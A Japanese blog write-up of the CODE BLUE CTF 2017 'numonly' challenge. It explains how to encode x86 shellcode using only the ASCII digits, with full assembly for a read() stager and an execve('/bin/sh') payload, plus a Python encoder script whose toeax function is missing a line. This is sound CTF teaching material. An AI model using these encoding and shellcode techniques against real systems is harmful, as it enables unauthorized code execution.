CODE BLUE CTF 2017 numonly のwriteup

この記事は、TSG Advent Calendar 2017 - Adventar の7日目の記事として書かれました。昨日はmoratorium08さんの
moraprogramming.hateblo.jp でした。

このあいだ CBCTF であったnumonlyのwriteupです。

問題概要

int check(char* s,int ls){
	for(int i=0;i<ls;i++){
		if(s[i]< '0' || '9' < s[i]){
			return 0;
		}
	}
	return 1;
}

int main(){
  void* s = mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  //大きさ0x1000のRWXな領域を確保する
  int ls = read(0,s,0x1000);
  if(check(s,ls)){
    ((void*()())s)();
  } else {
      puts("invalid input");
  }
}

みたいな感じで動くバイナリが与えられて、同じものがサーバで動いてるのでよろしくやってくれ。

解説

「よろしくやってくれ」ですが、pwn問(今回はmiscでしたが)の最終的な目標は、たいてい、「同じフォルダ内にあるflag.txtの中身を読む」ことです。 今回は、自分の送ったシェルコードをそのまま実行してくれるので、うまいことシェルコードを書けばよいことになります。
この問題の本質は、そのシェルコードに数字しか使えないことです。 例えば、alphanumeric shellcode (参考: http://inaz2.hatenablog.com/entry/2014/07/11/004655 ) というやつがあって、これはエンコーダがmetasploitに入ってたりするのでそれをそのまま使えばいいわけですが、今回は 0x30-0x39しか使えません。よって自分でエンコード方法を考えることになります。

思考

オペコード表(http://a4lg.com/tech/index.html 見やすい。いつもお世話になっています。)によると、使えそうな命令は xor と cmp くらいです。*1

このため、まずシステムコールを呼ぶ(0xcd 0x80)ことができません。 こういう場合、入力を前半部分のAと後半部分のBに分け、AでBの部分をstagerに整形したあと、Bでstagerを呼ぶ、ということをするのが常套手段ですが、 xorだけでは、byteの上半分が0x3か0x0の値しかとれないので、まだシステムコールを呼べません。

更に表の 0x00 ~ 0x0f までをみると、add と or が使えることが分かります。 addを用いれば、 0x08 から 0x10,0x20,0x40,0x80 を作ることができ、これとxorを組み合わせると任意の値を作ることができるはずです。 すなわち、入力を前のA,真ん中B,最後のCに分けて、AででBの部分にadd命令を作り、BでCの部分をshellcodeに整形し、Cでshellcodeを呼ぶ、とすれば可能であることが分かります。

実装

解けうることが分かったからといって、実装するのは大変です。
まず、実際に使う命令を選定する必要があります。xorが使えるといっても、 命令の即値部分やmod r/m *2 を数字にしないといけないので、xorのうちでも更に限られてきます。

命令の中身はだいたい先頭2byteで決まり、今回はパターンが10×10=100程度しかないので、全列挙してどういう命令が使えるか調べてみることにします。

print 'BITS 32'
for i in xrange(10):
	for j in xrange(10):
			print 'db 0x%x,0x%x,0x90,0x90,0x90,0x90' % (i+0x30,j+0x30)

の実行結果を hoge.s などに 保存しておいて、

nasm hoge.s; objdump -D -M intel -b binary -mi386 hoge

*3 とすると、各命令がディスアセンブルされます。
今回は、実行開始時にeaxに開始アドレスが入っているため、これを念頭において命令を見ていくと、

  3c:	31 30                	xor    DWORD PTR [eax],esi
  b4:	33 30                	xor    esi,DWORD PTR [eax]
 12c:	35 30 90 90 90       	xor    eax,0x90909030

などが使えそうだということが分かります。よって、eaxのアドレスをxorによってずらしつつ、esiの値を上手に調整してメモリ上の値を調整する必要があります。
これらに加えて、addについて調べてみると、

   0:   03 30                   add    esi,DWORD PTR [eax]

となっていることが分かります。
また、最初のメモリは

mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)

によって確保されている*4ので、 0x1000 でalignされていることがわかります。
ここで、 xor eax,imm の imm の部分の各桁には 0x30~0x39 の値しか使えないので、eaxの参照できるアドレスは 0x000~0x00f, 0x100~0x10f ... 0x900~0x90f のみになります。

これらよりコードの構成を考えると、例えば

0x000 ~ 0x1ff :: 0x200~0x20f ... 0x500~0x50f において addが実行されるように整備する
              :: その後、 shellcode の4bit目を整備する

0x200 ~ 0x20f :: esiを 0x08 -> 0x10 にする
0x210 ~ 0x2ff :: shellcodeの上から3bit目を整備する

......

0x500 ~ 0x50f :: esiを 0x40 -> 0x80 にする
0x510 ~ 0x5ff :: shellcodeの上から0bit目を整備する

0x600 ~ 0x60f :: shellcodeの上部分 の下3bitを合わせたもの
0x700 ~ 0x70f :: shellcodeの下部分 の下3bitを合わせたもの

0x800 ~ 0x80f :: esiの値の変更に使う空地
0x900 ~ 0x90f :: esiの値の変更に使う空地

というふうに実行するという作戦が立ちます。
addの部分は、いろいろ実験してみると、

\x33\x30\x38\x38\x38\x30

となっているときに、 1byte目と2byte目に合わせて 0x30303030 をxorすると、

\x03\x30\x38\x38\x08\x30

となり、これは命令列として

   0:	03 30                	add    esi,DWORD PTR [eax]
   2:	38 38                	cmp    BYTE PTR [eax],bh
   4:	08 30                	or     BYTE PTR [eax],dh

となっているので、これでいいかんじにaddができるようになります。(cmpとorは実質nopの役目)


これらをまとめて実際にコードを書いてみたのが、以下のものです。

まずstager(これについては補足を参照)として

BITS 32

global _start
_start:
	call near fir
fir:
	mov bl,1
	pop ecx
	mov dx,0x100
	xor eax,eax
	mov al,3
	int 0x80

をstager.sとして保存してnasmでコンパイルしておき、
シェルコード本体として

BITS 32

xor edx, edx
push edx
jmp short arg0
fir:
pop ebx
push ebx
mov ecx, esp
xor eax, eax
mov al, 11
int 0x80
call near fir
db "/bin/sh"
db 0

x86-execve.sとして保存してnasmでコンパイルしておき、

#coding: utf-8

with open('stager','rb') as fp:
	s = fp.read()

print len(s)

s = map(ord,s)
s = map(lambda x: x ^ 0x30,s)
print map(hex,s)

#値の生成は、0x909でやっていく。
#シェルコードは、0x600~0x607,0x700~0x709 でやる。
dat = map((lambda (i,c): (0x600+i if i < 8 else 0x700+(i-8),(c^0x30))),enumerate(s)) 

xor_esi_eax = '\x33\x30'
xor_eax_esi = '\x31\x30'

def hex2s(x):
	s = ''
	for i in xrange(4):
		s += chr(x % 256)
		x /= 256
	return s

def xor_eax(x):
	return '\x35' + hex2s(x)

#npが現在のeaxの値。
#vsにシェルコードを連結していく

np = 0x0
vs = ''

#現在のeaxの値をpに変更する
def toeax(p):
	global np,vs
	v1,v2 = 0,0
	for i in xrange(4):
		d = ((p ^ np) >> (i*8)) & 0xf
			c1,c2 = d,0
		else:
			c1,c2 = d-8,8
		v1 |= (c1 | 0x30) << (i*8)
		v2 |= (c2 | 0x30) << (i*8)
	tp = np ^ v1 ^ v2
	if tp != p:
		assert ('%x -> %x cannot do it' % (np,p))
	np = tp
	vs += xor_eax(v1)
	vs += xor_eax(v2)

toeax(0x800)
vs += xor_esi_eax #esiに0x30303030

#0x200~0x20f ... 0x500~0x50f の命令列をaddに変更する。
for i in xrange(4):
	tk = 0x100 * (i+2)
	for d in [0,1]:
		toeax(tk+d)
		vs += xor_eax_esi

#簡便のため、いったんシェルコード部分の上位を0x00にする
for p in [0x600,0x604,0x700,0x704,0x708]:
	toeax(p)
	vs += xor_eax_esi

#シェルコードの4ビット目を整形する
# 0x804 に0x8を準備しておいて、そこから値をとってくる

toeax(0x804)
vs += xor_esi_eax #esiに0x8
for p,c in dat:
	if c & 0x8:
		print 'xor',hex(p),0x8
		toeax(p)
		vs += xor_eax_esi

#ここまで、下4bitは整形

#esiの値を、0x8 -> 0x10 -> 0x20 -> 0x40 -> 0x80 にする
#0x900からを贅沢に使ってええやろ

for i in xrange(4):
	toeax(0x900+i)
	vs += xor_eax_esi
	vs += xor_esi_eax
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_esi_eax
	
	#ここで、 add esi,[eax] したい
	ap = 0x100 * (i+2)
	if len(vs)>ap:
		raise ('too long %x at %d' % (len(vs),i))
	
	# この直後が addの場所になるように、実質nopな命令を入れる
	if len(vs)%2 != ap % 2:
		vs += '\x39\x34\x40' # 39 34 90             	cmp    DWORD PTR [eax+edx*4],esi
	vs += '\x38\x38' * ((ap-len(vs))/2) # cmp    BYTE PTR [eax],bh
	
	# ここが 前の命令によって最終的にaddになる
	vs += '\x33\x30' + '\x38\x38' + '\x38\x30' 
	# add esi,[eax] ; 0x03 0x30
	# nop
	# or     BYTE PTR [eax],dh ; 0x8 0x30
	
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	
	#これで、esiの値が前回の2倍になってるはず。	
	for p,c in dat:
		if c & (0x10 << i):
			toeax(p)
			vs += xor_eax_esi
	print hex(len(vs))

#これでできたはず。

#シェルコードを 0x600~0x608,0x700~0x707に埋める
vs += '\x30' * (0x600-len(vs))

for _,c in dat[:8]:
	vs += chr(0x30 + (c & 0x7))

vs += '\x30' * (0x700-len(vs))

for _,c in dat[8:]:
	vs += chr(0x30 + (c & 0x7))


vs += '\x30' * (0x800-len(vs))

#0x8を採るために、0x804をこうしておく。

vs += '00008000'

vs += '\x30' * (0x1000-len(vs))

#stagerに注入されるシェルコード
with open('x86-execve','rb') as fp:
	pay = fp.read()

# numonlyシェルコード + nopスレッド + execveシェルコード
with open('attack','wb') as fp:
	fp.write(vs) # + '\x90' * (0x100-18) + pay)

pythonで実行してできたattackの中身を送ると、実際にシェルを立ち上げることができるはずです。

補足

nasmとかの使いかた

上で書いたアセンブラコードは、全てnasm(http://www.nasm.us/)でアセンブルできるものです。以下、32bitのもののコンパイル方法の説明ですが、64bitの場合は32を適宜64に入れ替えてください。

アセンブラの書いたファイルを hoge.s とします。 nasm hoge.s とすると、hoge という「命令列をそのままバイナリにしたファイル」ができあがるので、 xxd などでバイト列がどうなっているかを確認できたり、そのままサーバに流し込んだりできます。 nasm hoge.s -f elf32 とすると hoge.o というオブジェクトファイルができるので、これを gcc -m32 hoge.o -nostdlib などとしてコンパイルすることにより、実行可能ファイルができ、実際の挙動を確認することができます。

hoge.s の中身ですが、たとえば

BITS 32
section .text
global _start

_start:
	実行したい命令列

とすると、命令列のテストをすることができます。

stagerについて

「同じフォルダ内にあるflag.txtの中身を読む」についてですが、これを行う手段はおおまかに2つあって、「execveを用いて新たににshellを立ち上げる」と「openやreadを用いる」です。 これらをそのままやってしまってもいいですが、それだとエンコードするべきシェルコードの長さが長くなってしまうので、 代わりにshellcodeの長さが短くて済むstagerというものがあり、今回はそれを用いています。

stagerの中身は、

read(0,今のeip(rip)が指している場所あたり,大きな数);

を実行するシェルコードです。これによって、入力制限を迂回して真のシェルコードを送り込むことができます。これを実行すると、実行しようとしている命令近辺に自分の入力をcheckなしで流し込むことができます。

eip(rip)を得る方法

今回など、eax(rax)などの一般レジスタにeip(rip)の値が入っていることもありますが、そうでない場合、自分でeaxを得る必要があります。eip,ripは、ほかのレジスタと違って、movなどによってレジスタの値を動かすことができません。この場合、call命令を使って直後に飛んで一旦スタックにeipを積んだ後、それをpopで適当なレジスタに得ればよいです。


明日の記事は(null)さんの(null)です。楽しみですね。

追記

くろごまさんの kurogoma.hatenablog.com になりました。めでたい。

*1:seg.SSはプレフィクスというやつで、つけるとメモリアクセスがssセグメントからになるもの。 aaaはadd命令の後にやるとBCD調節してくれるやつだが、add以外の後では意味がない。

*2:modr/mについては http://www.wdic.org/w/SCI/ModR/M を見たりいろいろ調べたりすると良い。手でいろいろ試してみて調節してもよいが理解しておいたほうが逆アセンブルガチャを引かなくてすむのでよい

*3:命令列のみのバイナリが得られた場合、 objdump -D -M intel -b binary -mi386 などをすると、バイナリをそのままディスアセンブルしてくれて便利です。

*4:こういうのは地道に逆アセンブラ結果を読むより、straceで実行した結果を参照したほうが簡単に分かります